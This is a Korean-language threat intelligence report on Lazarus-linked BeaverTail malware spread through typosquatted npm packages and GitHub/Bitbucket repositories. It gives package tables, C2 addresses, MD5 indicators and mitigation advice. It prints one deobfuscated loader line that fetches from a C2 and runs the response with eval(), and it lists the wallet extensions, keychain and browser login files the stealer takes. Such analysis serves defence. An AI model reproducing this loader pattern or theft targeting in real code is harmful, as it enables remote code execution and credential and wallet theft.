1. 개요
○ 2025.04.04. Socket Inc.에서 북한 위협 행위자가 Contagious Interview 캠페인*의 일부로 사용한 BeaverTail 악성코드의 추가 유포 방식 공개
* 2023.11.21 Palo Alto에서 명명한 IT기업에 취업을 원하는 구직자를 대상으로 하는 공격 캠페인
•
BeaverTail 악성코드를 포함한 JavaScript 코드를 난독화해 npm 패키지에 포함한 후 유포하는 기존 방식 외에도, JavaScript 코드 내에 16진수(HEX) 형태로 인코딩된 C2 주소를 디코딩해 명령을 요청하는 새로운 방식 발견
•
기존 유포 경로인 npm, GitHub 외 Bitbucket을 추가로 활용하며 공격 경로 다변화 시도
○ 유포된 악성 npm 패키지는 ‘Phantom Circuit*’에서 사용된 C2 서버와 동일한 IP 및 포트 사용하고 있으며, 여러 악성 패키지 간 C2 인프라 비교 결과 동일한 포트 사용 및 유사한 URI 구조가 확인
* 북한 위협 행위자인 Lazarus가 개발자와 가상화폐 업계 종사자를 대상으로 하는 정보 탈취 캠페인
○ 최근 Lazarus는 악성 패키지를 이용한 npm기반의 공격범위와 대상이 확장되는 추세
No | 기간 | 캠페인 | 공격 요약 |
1 | 2023-03~ | Contagious Interview | 소프트웨어 개발자 대상으로 코드 저장소를 통해 로더(BeaverTail)를 유포 후, 백도어(Invisible Ferret) 추가 설치 후 정보 탈취 |
2 | 2024-09~ 2025-01 | Phantom Circuit | 개발자와 가상화폐 업계 종사자 대상으로 합법적인 오픈소스 소프트웨어(암호화폐 및 Web3 관련 프로젝트)를 변조해 백도어를 삽입·유포 후 정보 탈취 |
3 | 2025-02~ | ClickFake Interview | 개발자와 가상화폐 업계 종사자 대상으로 코드 저장소를 통해 백도어(GolangGhost) 유포 후 정보 탈취 |
[표 1] Lazarus가 진행한 개발자 대상 공급망 공격 캠페인
2. 대응방안
○ GitHub, npm, Bitbucket 등의 코드 저장소를 통한 파일 다운로드 시 해당 저장소 및 계정의 신뢰도 파악 필요
•
오픈소스 프로그램 사용 시 최신 보안 패치가 적용된 공식 배포판 사용
•
프로젝트의 생성일, 커밋 이력 및 유지관리 상태 등을 확인하여 관리가 부실하거나 장기간 업데이트가 없는 경우 다운로드 지양
3. 분석
3.1. BeaverTail 유포에 사용된 악성 npm 패키지
○ 북한 위협 행위자가 IT구직자 평가를 가장해 접근 후 설치를 유도하거나, 타이포스쿼팅(typosquatting)을 통해 인기 패키지의 오타를 유도해 개발자가 악성패키지 설치 유도
○ 2025-04-07 기준 [표 2]의 패키지 17종의 다운로드 횟수는 총 6,055회로 확인되며, 현재 npm의 보안 조치로 인해 다운로드 불가능
No | 악성 NPM 패키지 명 | 위장한 패키지/기능 | 업로더 | 다운로드 횟수 |
1 | snore-log | 로그 관리 | wishorn | 1,904 |
2 | dev-debugger-vite | 디버거 | wishorn | 1,606 |
3 | core-pino | pino | wishorn | 483 |
4 | cln-logger | Node.js 에러 추적 도구 | crouch626 | 310 |
5 | consolidate-log | Node.js 에러 추적 도구 | crouch626 | 300 |
6 | consolidate-logger | Node.js 에러 추적 도구 | crouch626 | 293 |
7 | node-clog | clog | crouch626 | 216 |
8 | is-buffer-validator | is-buffer(객체 확인) | edan0831 | 148 |
9 | icloud-cod | icloud | mvitalii | 146 |
10 | yoojae-validator | 유효성 검사 도구 | hottblaze | 145 |
11 | events-utils | Node.js 경량 라이브러리 | edan0831 | 133 |
12 | event-handle-package | 이벤트 처리 도구 | ricardoalexis07 | 131 |
13 | empty-array-validator | 배열 관리 목적 | alextucker0519 | 129 |
14 | twitterapis | twitter-api-v2 | taras_lakhai | 111 |
15 | npm-buffer-util | buffer-util | 확인 불가 | 확인 불가 |
16 | webpack-js-validator | 유효성 검사 도구 | 확인 불가 | 확인 불가 |
17 | node-frame-js | 유사한 이름 사용 | 확인 불가 | 확인 불가 |
[표 2] Lazarus가 위장한 악성 npm 패키지
3.2. BeaverTail 악성코드 유포방식•채널의 변화
1) 악성코드 유포방식
○ (유포방식-기존) BeaverTail 악성코드의 기존 유포방식은 BeaverTail 악성코드 포함하여 난독화된 JavaScript를 npm패키지를 통해 배포하는 방식을 일반적으로 사용
No | 악성 npm 패키지 명 | 업로더 | 업로드 시간(UTC+9) | 악성 JavaScript 파일명 |
1 | dev-debugger-vite | wishorn | 2025-01-20 00:41:01 | token_log.js |
2 | event-handle-package | ricardoalexis07 | 2025-03-07 21:13:50 | index.js |
3 | yoojae-validator | hottblaze | 2025-03-08 02:05:10 | yoojae-validator.js |
4 | is-buffer-validator | edan0831 | 2025-03-08 02:15:10 | index.js |
5 | empty-array-validator | alextucker0519 | 2025-03-12 04:18:13 | index.js |
6 | events-utils | edan0831 | 2025-03-12 05:14:43 | index.js |
7 | icloud-cod | mvitalii | 2025-03-13 15:07:59 | icloud-cod.js |
8 | twitterapis | taras_lakhai | 2025-03-13 20:32:06 | index.js |
9 | consolidate-log | crouch626 | 2025-03-16 22:43:28 | regMsgEx.js |
10 | consolidate-logger | crouch626 | 2025-03-17 02:46:51 | output.js |
[표 3] 기존 BeaverTail 악성코드 유포방식과 다른 악성 npm 패키지 목록
[그림 1] empty-array-validator/index.js 기준 난독화된 JavaScript 파일
○ (유포방식-신규) wishorn, crouch626 계정이 업로드한 악성 npm의 일부는 전통적인 코드 난독화를 사용하지 않고, 서버 접근에 필요한 데이터를 HEX 형식으로 포함한 뒤 이를 일반 함수처럼 위장하여 탐지를 우회하려는 시도 확인
No | 악성 npm 패키지 명 | 업로더 | 업로드 시간(UTC+9) | C2 |
1 | snore-log | wishorn | 2025-02-17 08:21:00 | hxxps://ip-api-server.vercel.app/api/ipcheck/703 |
2 | core-pino | wishorn | 2025-03-12 22:02:04 | hxxps://ip-api-server.vercel.app/api/ipcheck/703 |
3 | cln-logger | crouch626 | 2025-02-21 00:05:13 | hxxps://mocki.io/v1/32f16c80-602a-4c80-80af-32a9b8220a6b |
4 | node-clog | crouch626 | 2025-03-03 18:54:17 | hxxps://m21gk.wiremockapi.cloud/g/api/880 |
[표 4] 기존 BeaverTail 악성코드 유포방식과 다른 악성 npm 패키지 목록
○ [표 6]과 같이 악성코드에 필요한 문자열을 ASCII에서 16진수(HEX)로 변경한 후, HTTP라이브러리인 ‘axios’로 요청 데이터를 전송해 응답값에서 ‘data.cookie’내용을 eval()함수로 실행
•
공격에 사용된 ‘vercel.app’, ‘mocki.io’, ‘wiremockapi.cloud’는 외부 API를 호출 시에 비정상적인 응답을 테스트하기 위한 목적으로 사용되는 API 테스트 도구로, 공격자가 본격적인 악성 행위를 하기 전에 사용하는 중간 단계의 서버나 시스템인 ‘스테이징 환경’을 통해 악성코드를 유포하기 위해 동일한 Loader구조를 재사용할 때 사용하는 방식
[그림 2] node-clog 패키지에 삽입된 prepare-writer.js에서 확인되는 탐지 우회 시도
Line | 내용 |
2 | 두 자리 16진수를 아스키 문자열로 변환하기 위한 함수 |
4~9 | hl 배열 내 저장된 C2 접근 관련 데이터 |
11 | 4~9에서 변환한 데이터를 삽입하여 C2로 통신
응답값 중 cookie 데이터를 분리하여 eval() 함수로 실행 |
[표 5] 신규 유포방식 순서
const reportError = (msg) => require('axios')'get'['then>'](r => eval(r.data.cookie));
JavaScript
복사
[표 6] Hex Encoding 해제 후 코드 결과
2) 악성코드 유포채널
○ (유포채널-기존) alextucker0519, taras_lakhai 계정이 업로드한 악성 npm 패키지는 package.json에 GitHub 저장소 주소를 포함하여 개발자의 수동 접근을 유도하고, 해당 저장소를 통해 악성코드를 실행하도록 유도
•
현재 활성화된 empty-array-validator 패키지가 사용하는 GitHub 저장소 접근 결과 난독화된 index.js에서 기존 BeaverTail 악성코드와 유포 방식과 동일한 방식을 사용하는 정황 확인
No | 악성 npm 패키지 명 | 업로더 | 업로드 시간(UTC+9) | GitHub 주소 | C2 |
1 | empty-array-validator | alextucker0519 | 2025-03-12 04:18:13 | https://github.com/lukobogdan47/empty-array-validator | 172[.]86.84.38:1224/client/9/901
144[.]172.86.27:1224/client/9/903 |
2 | twitterapis | taras_lakhai | 2025-03-13 20:32:06 | https://github.com/austin-a3/twitterapis | 45[.]61.151.71:1224/client/9/906 |
[표 7] GitHub 저장소를 참조하는 악성 npm 패키지 목록
[그림 3] package.json 내 GitHub 참조 코드
[그림 4] GitHub 페이지 내 확인되는 BeaverTail 악성코드
○ (유포채널-신규) alextucker0519, taras_lakhai 계정이 업로드한 악성 npm 패키지는 package.json에 Bitbucket 저장소 주소를 포함하여 개발자의 수동 접근을 유도하고, 해당 저장소를 통해 악성코드를 실행하도록 유도
•
icloud-cod 패키지의 Bitbucket 주소에 포함된 ‘eiwork_hire’ 문자열로 보아 가짜 채용에 사용할 목적으로 판단
•
현재 Bitbucket 저장소가 비활성화되어 JavaScript 확보 실패
No | 악성 npm 패키지 명 | 업로더 | 업로드 시간(UTC+9) | Bitbucket 주소 |
1 | icloud-cod | mvitalii | 2025-03-13 15:07:59 | https://mvitalii206@bitbucket.org/eiwork_hire/ |
2 | events-utils | edan0831 | 2025-03-13 20:32:06 | https://bitbucket.org/events-utils/launch-events-utils/src/master/ |
[표 8] Bitbucket 저장소를 참조하는 악성 npm 패키지 목록
[그림 5] icloud-cod/package.json 내 Bitbucket 참조 코드
3.3 BeaverTail 악성코드 분석
○ 악성 npm 패키지 14종 내 존재하는 BeaverTail 악성코드 난독화 해제 후 확인 결과 ‘[IG-25-4004-O] 북한 위협 행위자 Contagious Interview 캠페인 분석’에서 분석된 BeaverTail 악성코드와 동일한 행위로 확인
•
변수·함수명 난독화, 더미 코드, 특정 배열을 통해 함수명을 조합하는 분석 방해기술 적용
[그림 6] 기존 유포방식을 사용하는 난독화된 BeaverTail 악성코드의 일부
기능 | 운영체제 | 상세 내용 |
전자 지갑 탈취 | - | - Chrome, Brave, Opera 브라우저별로 경로 설정 후 확장프로그램 내 전자지갑 정보 탈취
- 블록체인 플랫폼인 Solana로 생성한 지갑의 keypair 저장소 탈취
- FireFox 브라우저는 moz-extension 폴더 내 idb를 비롯한 파일들 탈취 |
브라우저 별 Login Data, Local State 탈취 | MacOS | - “~/Library/Keychains/login.keychain” 파일(macOS에서 사용되는 기본 키체인 정보) 탈취
- Chrome, Brave 브라우저 프로필 별 Login Data 탈취 |
브라우저 별 Login Data, Local State 탈취 | Windows, Linux | - Chrome, Brave, Opera 브라우저 별 Local State 및 Login Data 탈취 |
Invisible Ferret 다운로드 및 실행 | MacOS, Windows, Linux | - C2(<IP>:1224/pdown)에서 p.zi 파일 다운로드 후 p2.zip 으로 이름 변경 및 tar –xf 명령어로 홈디렉토리에 압축해제
- C2(<IP>:1224/client/<campaign_id>)에서 .npl(Invisible Ferret) 파일 다운로드 후 앞서 압축 해제한 파일 내 python.exe로 .npl 실행 |
안티 디버깅 | MacOS, Windows, Linux | - 브라우저 환경에서 console 메서드(log, warn, info, error, exception, table, trace)로 디버깅 탐지 및 방해
- debugger 명령, 무한 루프 및 무한 재귀 호출 함수를 통한 분석 방해 |
[표 9] BeaverTail 악성코드 동작 요약
○ ‘[IG-25-4004-O] 북한 위협 행위자 Contagious Interview 캠페인 분석’ 내 분석된 데이터와 악성 npm 패키지 14종 내 존재하는 BeaverTail 악성코드 비교결과, 전자지갑 정보 탈취 기능 추가
브라우저 확장프로그램 ID | 확장프로그램 지갑 종류 |
mcohilncbfahbmgdjkbpemcciiolgcge | OKX Wallet |
agoakfejjabomempkjlepdflaleeobhb | Core Wallet |
omaabbefbmiijedngplfjmnooppbclkk | Tonkeeper |
aholpfdialjgjfhomihkjbmgjidlcdno | Exodus Web3 Wallet |
nphplpgoakhhjchkkhmiggakijnkhfnd | TON Wallet |
penjlddjkjgpnkllboccdgccekpkcbin | OpenMask |
lgmpcpglpngdoalbgeoldeajfclnhafa | SafePal |
fldfpgipfncgndfolcbkdeeknbbbnhcc | MyTonWallet |
bhhhlbepdkbapadjdnnojkbgioiodbic | Solflare Wallet |
gjnckgkfmgmibbkoficdidcljeaaaheg | Atomic Wallet |
afbcbjpbpfadlkmhmclhkeeodmamcflc | MathWallet |
[표 10] 추가로 탈취하는 확장프로그램 지갑 목록
○ 악성 npm 패키지 14종 내 BeaverTail 악성코드 난독화 해제 후 요청하는 C2를 확인한 결과 같은 C2 주소 사용, 1224 Port와 /client 이후 유사한 형식의 URI를 사용하는 것으로 확인
○ dev-debugger-vite의 C2인 185[.]153.182.241의 경우 2024년 12월부터 Lazarus가 진행중인 정보탈취 목적의 ‘Phantom Circuit’에서 사용된 이력을 확인
○ C2 주소에 URL을 사용하는 경우 새로운 유포 방식을 테스트하기 위한 목적으로 보여 Lazarus가 테스트 및 추가 공격대상 발굴을 위한 지속적인 업로드 시도로 보임
No | 악성 NPM 패키지 명 | uploader | C2 |
1 | consolidate-logger | crouch626 | 144[.]172.86.27:1224/client/8/80 |
2 | event-handle-package | ricardoalexis07 | 144[.]172.86.27:1224/client/9/902 |
3 | events-utils | edan0831 | 144[.]172.86.27:1224/client/9/902 |
4 | consolidate-log | crouch626 | 144[.]172.96.80:1224/client/8/80 |
5 | empty-array-validator | alextucker0519 | 172[.]86.84.38:1224/client/9/901 |
6 | is-buffer-validator | edan0831 | 172[.]86.84.38:1224/client/9/902 |
7 | yoojae-validator | hottblaze | 172[.]86.84.38:1224/client/9/905 |
8 | icloud-cod | mvitalii | 45[.]61.151.71:1224/client/9/905 |
9 | twitterapis | taras_lakhai | 45[.]61.151.71:1224/client/9/906 |
10 | dev-debugger-vite | wishorn | 94[.]131.9.32:1224/client/7/703 |
11 | snore-log | wishorn | hxxps://ip-api-server.vercel.app/api/ipcheck/701 |
12 | core-pino | wishorn | hxxps://ip-api-server.vercel.app/api/ipcheck/703 |
13 | node-clog | crouch626 | hxxps://m21gk.wiremockapi.cloud/g/api/880 |
14 | cln-logger | crouch626 | hxxps://mocki.io/v1/32f16c80-602a-4c80-80af-32a9b8220a6b |
[표 11] Lazarus가 위장한 악성 npm 패키지
4. IoC 정보
NO | Type | Data | Info |
1 | MD5 | 98a8d1c6fc75fcf0c8cc8ae45edb387f | prepare-writer.js (snore-log) |
2 | MD5 | 484ff14e1532d43c92c8e2911f35f5c6 | token_log.js (dev-debugger-vite) |
3 | MD5 | b30ad48b17e7191062fc47c9803b960f | writer.js (core-pino) |
4 | MD5 | afefc11502dfcb3696e6028c5c6fc36c | report.js (cln-logger) |
5 | MD5 | 7eb685fd9f3898577ee3082cedb29510 | regMsgEx.js (consolidate-log) |
6 | MD5 | 51bd561c3a476662f985710c2f17c093 | output.js (consolidate-logger) |
7 | MD5 | 53faeba2887693d8810c58f7ca13041f | prepare-writer.js (node-clog) |
8 | MD5 | a7e5334e37358902442c891e5d0008f8 | index.js (is-buffer-validator) |
9 | MD5 | 35259b4caa400e4d663069a7f32f0138 | icloud-cod.js (icloud-cod) |
10 | MD5 | 1593447fc915c3e26ea301e959f4e182 | yoojae-validator.js (yoojae-validator) |
11 | MD5 | 5d2dae18af58b25aecdd7b21ec24ce81 | index.js (event-utils) |
12 | MD5 | 839fe5b6de8dee3f25c9a393f6f38310 | index.js (event-handle-package) |
13 | MD5 | 464b8bf3a3047833edf3dd35b4a35053 | index.js (empty-array-validator) |
14 | MD5 | 37c14026d60c7488e39136d9ed6b47e9 | index.js (twitterapis) |
15 | C2 | 144[.]172.86.27:1224/client/8/80 | |
16 | C2 | 144[.]172.86.27:1224/client/9/902 | |
17 | C2 | 144[.]172.96.80:1224/client/8/80 | |
18 | C2 | 172[.]86.84.38:1224/client/9/901 | |
19 | C2 | 172[.]86.84.38:1224/client/9/902 | |
20 | C2 | 172[.]86.84.38:1224/client/9/905 | |
21 | C2 | 172[.]86.84.38:1224/client/9/909 | |
22 | C2 | 45[.]61.151.71:1224/client/9/905 | |
23 | C2 | 45[.]61.151.71:1224/client/9/906 | |
24 | C2 | 94[.]131.9.32:1224/client/7/703 | |
25 | C2 | 185[.]153.182.241:1224/client/7/701 | |
26 | C2 | 86[.]104.74.51:1224/client/7/702 | |
27 | C2 | hxxps://ip-api-server.vercel.app/api/ipcheck/701 | |
28 | C2 | hxxps://ip-api-server.vercel.app/api/ipcheck/702 | |
29 | C2 | hxxps://ip-api-server.vercel.app/api/ipcheck/703 | |
30 | C2 | hxxps://m21gk.wiremockapi.cloud/g/api/880 | |
31 | C2 | hxxps://mocki.io/v1/32f16c80-602a-4c80-80af-32a9b8220a6b | |
32 | C2 | hxxps://github.com/lukobogdan47/empty-array-validator | |
33 | C2 | hxxps://github.com/austin-a3/twitterapis | |
34 | C2 | hxxps://bitbucket.org/events-utils/launch-events-utils/src/master/ |
5. 참고자료
•
Lazarus Expands Malicious npm Campaign: 11 New Packages Add Malware Loaders and Bitbucket Payloads : https://socket.dev/blog/lazarus-expands-malicious-npm-campaign-11-new-packages-add-malware-loaders-and-bitbucket
•
Operation Phantom Circuit: North Korea’s Global Data Exfiltration Campaign : https://securityscorecard.com/blog/operation-phantom-circuit-north-koreas-global-data-exfiltration-campaign/







